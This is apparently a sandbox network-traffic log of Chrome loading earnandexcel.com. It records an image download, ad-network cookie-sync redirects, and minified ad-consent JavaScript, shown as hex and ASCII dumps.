2024-04-11 21:26:59 UTC	2353	OUT	GET /wp-content/uploads/Excel-Tools-Templates-2-480x304.jpg HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _pubCommonId_cst=VyxHLMwsHQ%3D%3D; _lr_retry_request=true; _lr_env_src_ats=false; am_tokens=null
2024-04-11 21:26:59 UTC	901	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:59 GMT Content-Type: image/jpeg Content-Length: 24985 Connection: close CF-Ray: 872e0edc78728c3b-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32ed-6199" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:21 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n1jRQH79X4dVszZZO2eAUyGZq1%2FfU99HTgjw90FL52QLygTvjXqClRzUI37Nnx7A8t88RlrNXbQkOvibXc5k0aZ8X9bEwVtR9XZWdm4nqsQXNRkdbofKGIVDAoHbDPA9bc4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:59 UTC	468	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 96 00 96 00 00 ff db 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0e 09 09 08 08 09 12 0d 0d 0a 0e 15 12 16 16 15 12 14 14 17 1a 21 1c 17 18 1f 19 14 14 1d 27 1d 1f 22 23 25 25 25 16 1c 29 2c 28 24 2b 21 24 25 24 ff db 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 ff c2 00 11 08 01 30 01 e0 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 00 01 05 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 04 05 06 03 07 ff c4 00 1a 01 00 02 03 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 d8 92 78 63 4d 02 48 Data Ascii: JFIFC!'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$0"xcMH
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: 71 0a e3 bb 66 15 63 2d af 0c 97 4b 33 ea 24 64 bb a7 ae ef 90 91 93 a7 e8 ab 9d 95 8f a0 f7 23 ad 80 2a 80 ee fd 63 65 83 7a 3f 16 9a 0e 73 60 53 15 6a a2 68 83 41 20 4e af d5 47 98 bb 9c 8e 9e 46 1a b2 13 c9 1a e4 0c 8a 6b 84 f2 26 b8 1e 44 d7 01 90 5d 68 19 15 d6 81 92 4d 78 18 f5 d7 2a 79 67 e9 89 19 05 d7 11 32 26 b8 6b 24 6b 40 c9 2e b0 0c a2 ea 95 ac a3 b5 2a d6 5d 74 ea e3 98 35 03 59 83 50 a2 cb 16 15 d6 55 bb be a2 bf c7 ad 55 5d 1b 1a ae 56 2c b8 8b 09 d8 4c a2 b2 c7 74 68 56 7c ea 75 e9 32 3d 56 45 47 72 88 b0 27 40 dd 97 cb ed 6a 6d 3a 79 bd b1 06 e0 de d8 75 58 18 e3 f5 47 79 7d 84 72 fa 14 8c 06 ae 53 b8 47 12 e9 b4 73 40 00 05 40 05 45 00 00 5f 3c f4 3f 25 4a cc bc eb 4d 19 e5 d1 8c cd a5 ec 48 c6 b4 9a 8a 30 c9 dd c7 54 5a 8d d5 16 a0 55 Data Ascii: qfc-K3$d#cez?s`SjhA NGFk&D]hMxyg2&k$k@.*]t5YPUU]V,LthV\|u2=VEGr'@jm:yuXGy}rSGs@@E_<?%JMH0TZU
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: 70 ac be af 6a a2 e2 2d 84 ea 87 43 7d 4a d6 2a de a6 dd f5 77 bd 79 74 e7 74 f5 ab c6 3c 61 29 dc ab e1 65 a3 a1 ca 99 5d 11 05 36 9d c6 b8 36 4f 41 71 e3 64 c4 a2 e7 f4 39 e9 ad aa a0 e2 aa 8a 00 00 00 00 00 35 cd 00 00 00 00 00 00 0f 3b c1 6f b0 5a f1 e9 64 47 59 66 b9 3a ca bf 97 5b 63 ce ca 2e 34 a9 3d a9 dd de 2c c8 b4 68 ac b4 ae b2 9d 2f 83 3e 01 28 b2 e1 ca b2 88 74 96 f4 d6 e5 c6 da 56 49 7d 4f 4f c2 dd a6 1e 85 71 60 89 c0 27 34 21 92 c0 8a 92 91 11 96 42 04 72 42 33 8a 77 41 c3 d6 67 d0 5e 9a 9e 64 07 a6 9e 64 07 a6 9e 62 07 a7 2f 98 01 e9 e7 97 82 f5 03 cb d0 3d 44 f2 e1 9e a2 be 58 07 a9 1e 5a 82 f5 33 cb 06 58 61 2d 2a af cd a5 63 db 3c 3a cb 18 b6 92 84 29 4f e9 55 fc 17 ab e1 7f 7a eb 28 15 3a bb 08 52 74 62 93 0f bf 22 50 24 1d 2d cf 0a Data Ascii: pj-C}Jwytt<a)e]66OAqd95;oZdGYf:[c.4=,h/>(tVI}OOq`'4!BrB3wAg^ddb/=DXZ3Xa-c<:)OUz(:Rtb"P$-
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: e0 77 e3 e1 80 ac 1c c1 53 0f 1a bf 40 b5 fc 89 89 7d 5f d9 20 83 50 6a 16 cf 4b ee d2 36 57 75 1a 41 5f 18 d8 ae 4e 34 f7 53 4f 75 25 b7 dc 26 1d 6b a9 61 a0 94 d0 ca 36 df 33 97 68 ab 36 8a b3 68 ab 36 8a b3 68 ab 16 dd 3b 56 ce c5 8f a9 3a 9f dd 16 6f 64 cf ae 27 60 35 c8 63 e3 80 ad 1d 1a 1d 8a 85 57 a0 5a fe 44 a9 7b dd 54 fa 79 e3 74 b0 49 4e f4 55 1a e7 0d 55 2d 5e 97 dd b4 a7 77 53 cb 06 63 23 81 d1 b3 2e 63 2e 6c 16 29 95 af 81 cf 6e 81 70 db c8 e8 d6 37 f9 e1 e7 87 9e 1e 78 79 e0 fa 6e f7 50 7f b6 75 47 b9 2c be c9 04 70 ab f4 b5 70 1b 20 92 89 21 8f d0 e2 b3 d0 2d 7f 22 54 7b 9b 6f eb a6 95 cf 7c b9 c8 d5 64 88 36 44 2d 0e ee 87 ee db 71 e4 b3 55 e4 3f 72 69 b9 34 dc 98 24 d2 2a 66 ca 61 5e 42 ea 96 b7 36 53 36 53 36 51 f5 b9 4b b9 34 dc 98 6e Data Ascii: wS@}_ PjK6WuA_N4SOu%&ka63h6h6h;V:od'`5cWZD{TytINUU-^wSc#.c.l)np7xynPuG,pp !-"T{o\|d6D-qU?ri4$*fa^B6S6S6QK4n
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: b3 d5 7e b2 96 45 fd 96 38 8a c4 51 29 da 53 46 8d 22 6a 78 49 f8 4a 8f 3c f4 35 08 32 61 26 42 49 4e de e5 c8 32 91 0a 8f 28 4b 6f bf ea 3f 8b e9 d9 91 96 bd 5b 0d 5b 0d 63 0d 63 0d 5b 0a 8b 9b 29 d9 c8 23 35 8c 35 6c 35 8c 35 6c 35 6c 35 8c 35 6c 2f 75 2d 7d af a7 6a d2 9a d8 cb 9c 6a b6 27 2b 96 05 55 8a 4f 4e e8 8d cd a7 a7 6c d2 c3 12 46 42 89 d8 cf c7 56 fa 74 5e d3 ec f5 5f aa a5 99 7f 68 d5 f3 41 08 ff 00 2d 71 9c 2c b8 9a 52 48 4e df 38 e3 53 b1 47 22 8d c4 41 e5 42 ff 00 8c b6 fb ee a4 f8 bb 13 5d 25 a3 67 a9 36 7a 93 67 a9 23 b5 d5 46 ed 25 58 da 59 30 d2 38 d2 b8 d2 b8 7d 25 46 3a 4a b3 68 a9 36 7a 93 69 a8 42 e5 6d 9e 1a 1e 9e a4 75 45 bd 2d 72 67 db 68 5f 44 ac 82 36 23 db dc da ea 19 a7 91 94 35 71 ad 24 33 b5 bd 8d 4f 0e ad f4 e8 bd 9f d9 Data Ascii: ~E8Q)SF"jxIJ<52a&BIN2(Ko?[[cc[)#55l55l5l55l/u-}jj'+UONlFBVt^_hA-q,RHN8SG"AB]%g6zg#F%XY08}%F:Jh6ziBmuE-rgh_D6#5q$3O
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: ba 45 ee 7b 9b 83 e4 70 ee c5 47 bd 5c 2a a0 e7 b9 ed 47 e2 9e 6f 44 76 29 dc aa 98 e0 2c a7 ea 61 8f 6a 63 82 77 76 a3 5c 22 e0 35 c3 5c 22 ae 2a ec 46 ab 9c ab dc 77 2e 2d 7b a3 5c 5b 32 77 2b 15 5b 98 36 5e d1 62 ee 11 ca d5 48 95 e7 62 b1 6d af 66 4b 70 45 86 a1 58 47 56 d7 08 a8 bf 65 55 10 a8 ac 46 8b dd 22 b2 34 2a 18 89 4c ea 69 5c 68 a5 3f 88 ae 5c 7b c7 14 ef 6c 4f ab ad a7 9a 34 18 8b 29 a0 94 d1 48 68 24 12 df 21 b7 48 25 ba 43 6f 79 a0 79 a1 79 a0 71 a0 90 db 9e a3 e8 24 8d ab e6 45 26 58 e5 ee 56 af 68 be 63 57 04 55 c4 6a f6 8b 2e 28 9e 4b dc 7e 0c 4e ff 00 06 fe 91 cf ee 23 72 b4 47 ab d2 df 40 8e 25 88 cb 53 b5 c8 47 53 3c 44 17 05 70 d9 51 c6 3f 4b e5 46 92 ce af 11 a2 34 6a 15 09 fb 65 ac 7c 66 e4 fc 1c ee f5 fa 70 11 ca d3 53 29 a8 90 Data Ascii: E{pG\GoDv),ajcwv\"5\"Fw.-{\[2w+[6^bHbmfKpEXGVeUF"4*Li\h?\{lO4)Hh$!H%Coyyyq$E&XVhcWUj.(K~N#rG@%SGS<DpQ?KF4je\|fpS)
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: 4b f9 18 e2 fa 31 d0 8b 29 e8 e3 37 62 9c 71 f6 98 d6 ed dc 36 ff 00 6c 4a df 5d 4e f2 7d 59 3a b2 dc 53 d4 49 3b 33 7b 93 27 d0 a0 ad 72 bc bd a6 95 f2 2b 75 42 ee 5c 28 b5 19 a6 cd 55 e9 45 c9 94 77 6c 5b fa 9b 68 ff 00 f3 ff 00 c1 da fc 8a f6 95 3d b4 d5 99 a7 bd 37 ee 1f e3 ab de 4f e4 a9 ca 44 79 c8 a2 4e 1c 8a 50 2b 53 bc 4d 3d 3b 22 a2 bb 42 ee 5c 1c e2 b9 32 29 cd 72 1a b7 53 67 89 22 df ca 67 25 d1 ff 00 c3 d9 f2 bf 25 5e f2 4f 9b 2a 43 7a b9 42 89 1a 16 25 d0 a4 55 e8 53 65 49 ac 88 8b f7 26 2a d1 f2 66 89 96 26 58 99 51 95 19 11 91 19 11 be 26 f8 9b d1 bd 1b d1 91 19 11 92 26 48 99 62 54 77 95 d1 2e e9 ff 00 a2 8c 6f 02 11 b1 12 bc 12 e8 43 91 3e 68 8a 68 9d 3f 72 62 2d c5 2f cb 72 fc 5c 7b df f4 69 fb 05 c2 70 72 3d 2b 3d 2f f6 7a 34 4f 4b 15 Data Ascii: K1)7bq6lJ]N}Y:SI;3{'r+uB\(UEwl[h=7ODyNP+SM=;"B\2)rSg"g%%^OCzB%USeI&f&XQ&&HbTw.oC>hh?rb-/r\{ipr=+=/z4OK
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: dc 73 9f c0 e2 d9 81 81 89 66 59 96 65 99 66 58 b1 8a 31 46 28 c5 18 98 98 98 94 d2 44 dd e6 58 69 8d 17 32 b1 19 c9 fc 0a 9b 30 91 8c cc 66 63 23 19 18 c8 c6 46 32 31 91 8c 8c 64 63 23 09 18 48 c2 46 13 30 91 a7 33 4e 46 9c cd 29 9a 53 34 e6 69 c8 54 9f c8 fe d3 ff c4 00 41 10 00 01 02 02 06 07 04 08 03 08 02 03 00 00 00 00 00 01 02 03 11 12 21 31 32 33 91 04 10 34 71 72 92 a1 13 22 30 41 20 40 42 51 61 73 81 b1 43 82 c1 14 23 35 50 52 62 a2 d1 24 93 05 44 f0 ff da 00 08 01 01 00 06 3f 02 fe 67 6c 91 0f 33 de 9f ce 95 ba 97 f9 d4 d0 ef 54 a4 99 5a fa 35 78 92 63 66 5c 2a 69 51 78 bc a5 f7 17 df 99 88 e4 fa 98 ae cc c5 76 66 2b b3 31 5d 99 88 e2 fa 97 d4 be a5 f5 2f a9 7d 44 63 5e b3 2b 7a 98 ae cc c5 76 66 2b f3 31 5d 99 8a ec cc 57 66 62 bb 33 15 d9 98 Data Ascii: sfYefX1F(DXi20fc#F21dc#HF03NF)S4iTA!1234qr"0A @BQasC#5PRb$D?gl3TZ5xcf\*iQxvf+1]/}Dc^+zvf+1]Wfb3
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: 18 9c 2b ab 47 f9 89 e2 69 b4 92 7d ff 00 f6 58 85 88 58 85 88 79 16 21 62 16 21 62 1e 47 91 e4 79 16 21 e4 68 f2 4f 35 21 43 76 91 27 35 a8 8b dd 53 68 ff 00 15 36 8f f1 53 68 ff 00 15 36 8f f1 53 68 ff 00 15 36 8f f1 53 68 ff 00 15 2a 8e 9c aa 44 8b 0d 66 d7 d2 54 53 47 e1 5d 4b c5 a9 49 12 f4 50 4d 4d d5 2d 71 38 57 56 8d f3 10 ed 22 bd 18 d4 f3 53 6a 61 b5 30 da 98 6d 4c 36 a6 1b 53 0d a9 86 d4 c3 6a 61 b5 30 d2 9d 16 33 5a 8e 7c d3 e3 69 3f da 51 77 21 8c bc a6 32 f2 9b 45 1d e8 6d 90 f2 29 c2 7a 46 9f b8 86 bd 93 68 b9 2c fa 89 16 1a d4 bd 0a f5 c5 87 34 a3 ec 7a 1a 3e f5 21 c4 77 6b 37 35 15 7b c7 e2 f3 1f 8b cc 7e 2f 31 f8 bc c7 e2 f3 1f 8b cc 7e 2f 31 f8 bc c2 47 83 da 53 4a ab 53 47 e1 5d 4f e2 d4 a3 89 af a1 69 32 4e b0 9d 29 93 d4 b5 eb 89 c2 Data Ascii: +Gi}XXy!b!bGy!hO5!Cv'5Sh6Sh6Sh6Sh*DfTSG]KIPMM-q8WV"Sja0mL6Sja03Z\|i?Qw!2Em)zFh,4z>!wk75{~/1~/1GSJSG]Oi2N)
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: 5b ce 6c ad e6 36 56 f3 1b 2b 39 8d 99 9c c6 cc ce 63 66 67 31 b3 33 98 d9 a1 e6 6c d0 f3 36 68 79 9b 3c 3c cd 9e 1e 66 cf 0b 35 36 78 59 a9 b3 c2 cd 4d 9e 16 6a 6c f0 ba 98 10 ba 98 10 ba 98 10 ba 98 10 ba 98 10 ba 98 30 7a 98 30 7a 98 30 7a 98 50 7a 98 50 7a 98 70 72 53 0e 0e 4a 5c 83 91 72 0e 45 d8 39 17 60 e4 31 63 51 ee 59 45 35 46 fa 6a 4f 4a df 06 26 ef e5 71 be 9a 93 c7 89 bb c2 f3 f5 7b aa 5d d7 61 61 62 fa 11 fe 9e a2 fa 75 25 84 e1 c5 6b be 0a 49 c8 3f b4 55 44 6a 79 18 8f e8 62 3f a1 88 fe 85 f7 f4 2f bf a1 7d fd 0b ef 2f 3c bc f2 d7 96 bf 33 db cc f6 f3 3d bc cb 1d 99 63 b3 2e bb 32 eb b9 8b ae e6 2e bb 98 b8 ee 62 e2 e6 5c 5c cb 8b 99 86 b9 98 7d 4c 3e a6 1f 53 0f a9 85 d4 c2 ea 61 75 53 0b aa 98 5d 54 c2 ea a6 17 55 22 2b 61 77 91 ab 2d 71 Data Ascii: [l6V+9cfg13l6hy<<f56xYMjl0z0z0zPzPzprSJ\rE9`1cQYE5FjOJ&q{]aabu%kI?UDjyb?/}/<3=c.2.b\\}L>SauS]TU"+aw-q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
266	192.168.2.17	50069	23.47.168.66	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:59 UTC	956	OUT	GET /cksync.php?cs=19&type=mdv&ovsid=3a6574e0-f84a-11ee-a9d1-333cefc92741&us_privacy=1---&redirect=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dmediadotnet%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%3Cvsid%3E HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:59 UTC	1061	IN	HTTP/1.1 302 Moved Temporarily Server: Apache Content-Length: 154 Content-Type: text/html Location: https://exchange.mediavine.com/usersync/redirect?partner=mediadotnet&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=3558724192336578000V10 Set-Cookie: visitor-id=3558724192336578000V10; Expires=Fri, 11 Apr 2025 21:26:59 GMT; domain=.media.net; Path=/; sameSite=none; secure=true Set-Cookie: data-mv=3a6574e0-f84a-11ee-a9d1-333cefc92741~~19;Expires=Fri, 11 Apr 2025 21:26:59 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Thu, 11 Apr 2024 21:26:59 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Thu, 11 Apr 2024 21:26:59 GMT Connection: close
2024-04-11 21:26:59 UTC	154	IN	Data Raw: 3c 48 54 4d 4c 3e 0d 0a 3c 48 45 41 44 3e 0d 0a 3c 54 49 54 4c 45 3e 45 72 72 6f 72 20 50 61 67 65 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 0d 0a 41 6e 20 65 72 72 6f 72 20 28 33 30 32 20 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 29 20 68 61 73 20 6f 63 63 75 72 72 65 64 20 69 6e 20 72 65 73 70 6f 6e 73 65 20 74 6f 20 74 68 69 73 20 72 65 71 75 65 73 74 2e 0d 0a 3c 2f 42 4f 44 59 3e 0d 0a 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <HTML><HEAD><TITLE>Error Page</TITLE></HEAD><BODY>An error (302 Moved Temporarily) has occurred in response to this request.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
267	192.168.2.17	50059	151.101.193.108	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:59 UTC	700	OUT	GET /dmp/async_usersync.html HTTP/1.1 Host: acdn.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:59 UTC	546	IN	HTTP/1.1 200 OK Connection: close Content-Length: 53044 Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html Last-Modified: Fri, 25 Mar 2022 16:06:02 GMT ETag: "623de86a-cf34" Expires: Wed, 20 Mar 2024 11:33:50 GMT Cache-Control: max-age=86402 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 47631 Date: Thu, 11 Apr 2024 21:26:59 GMT X-Served-By: cache-lga13626-LGA, cache-ewr18176-EWR X-Cache: HIT, HIT X-Cache-Hits: 11806, 0 X-Timer: S1712870819.344980,VS0,VE1 Vary: Accept-Encoding
2024-04-11 21:26:59 UTC	1371	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 61 28 6e 29 7b 69 66 28 65 5b 6e 5d 29 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 69 3d 65 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 63 61 6c 6c 28 69 2e 65 78 70 6f 72 74 73 2c 69 2c 69 2e 65 78 70 6f 72 74 73 2c 61 29 2c 69 2e 6c 3d 21 30 2c 69 2e 65 78 70 6f 72 74 73 7d 61 2e 6d 3d 74 2c 61 2e 63 3d 65 2c 61 2e 64 3d 66 75 6e 63 74 69 6f Data Ascii: <!DOCTYPE html><html><head></head><body><script type="text/javascript">!function(t){var e={};function a(n){if(e[n])return e[n].exports;var i=e[n]={i:n,l:!1,exports:{}};return t[n].call(i.exports,i,i.exports,a),i.l=!0,i.exports}a.m=t,a.c=e,a.d=functio
2024-04-11 21:26:59 UTC	1371	IN	Data Raw: 6e 20 61 29 69 28 61 2c 6e 29 26 26 28 74 5b 6e 5d 3d 61 5b 6e 5d 29 7d 7d 72 65 74 75 72 6e 20 74 7d 2c 65 2e 73 68 72 69 6e 6b 42 75 66 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 74 2e 6c 65 6e 67 74 68 3d 3d 3d 65 3f 74 3a 74 2e 73 75 62 61 72 72 61 79 3f 74 2e 73 75 62 61 72 72 61 79 28 30 2c 65 29 3a 28 74 2e 6c 65 6e 67 74 68 3d 65 2c 74 29 7d 3b 76 61 72 20 72 3d 7b 61 72 72 61 79 53 65 74 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 61 2c 6e 2c 69 29 7b 69 66 28 65 2e 73 75 62 61 72 72 61 79 26 26 74 2e 73 75 62 61 72 72 61 79 29 74 2e 73 65 74 28 65 2e 73 75 62 61 72 72 61 79 28 61 2c 61 2b 6e 29 2c 69 29 3b 65 6c 73 65 20 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 6e 3b 72 2b 2b 29 74 5b 69 2b 72 5d 3d 65 5b 61 2b 72 5d 7d 2c Data Ascii: n a)i(a,n)&&(t[n]=a[n])}}return t},e.shrinkBuf=function(t,e){return t.length===e?t:t.subarray?t.subarray(0,e):(t.length=e,t)};var r={arraySet:function(t,e,a,n,i){if(e.subarray&&t.subarray)t.set(e.subarray(a,a+n),i);else for(var r=0;r<n;r++)t[i+r]=e[a+r]},
2024-04-11 21:26:59 UTC	1371	IN	Data Raw: 22 6f 6e 22 2b 74 2c 65 29 7d 2c 6f 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 21 74 7c 7c 21 74 2e 70 75 72 70 6f 73 65 7c 7c 21 74 2e 70 75 72 70 6f 73 65 2e 63 6f 6e 73 65 6e 74 73 7c 7c 21 30 3d 3d 3d 74 2e 70 75 72 70 6f 73 65 2e 63 6f 6e 73 65 6e 74 73 5b 31 5d 7d 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2e 64 61 74 61 3b 74 72 79 7b 65 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 65 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 61 3d 65 2e 5f 5f 63 6d 70 52 65 74 75 72 6e 7c 7c 65 2e 5f 5f 74 63 66 61 70 69 52 65 74 75 72 6e 3b 61 26 26 28 22 67 65 74 43 6f 6e 73 65 6e 74 44 61 74 61 22 3d 3d 3d 61 2e 63 6f 6d 6d 61 6e 64 26 26 61 2e 72 65 74 75 72 6e 56 61 6c 75 65 3f 68 28 61 2e 63 61 6c 6c 49 64 2c 61 2e 72 65 74 Data Ascii: "on"+t,e)},o=function(t){return!t\|\|!t.purpose\|\|!t.purpose.consents\|\|!0===t.purpose.consents[1]},l=function(t){var e=t.data;try{e=JSON.parse(e)}catch(t){}var a=e.__cmpReturn\|\|e.__tcfapiReturn;a&&("getConsentData"===a.command&&a.returnValue?h(a.callId,a.ret
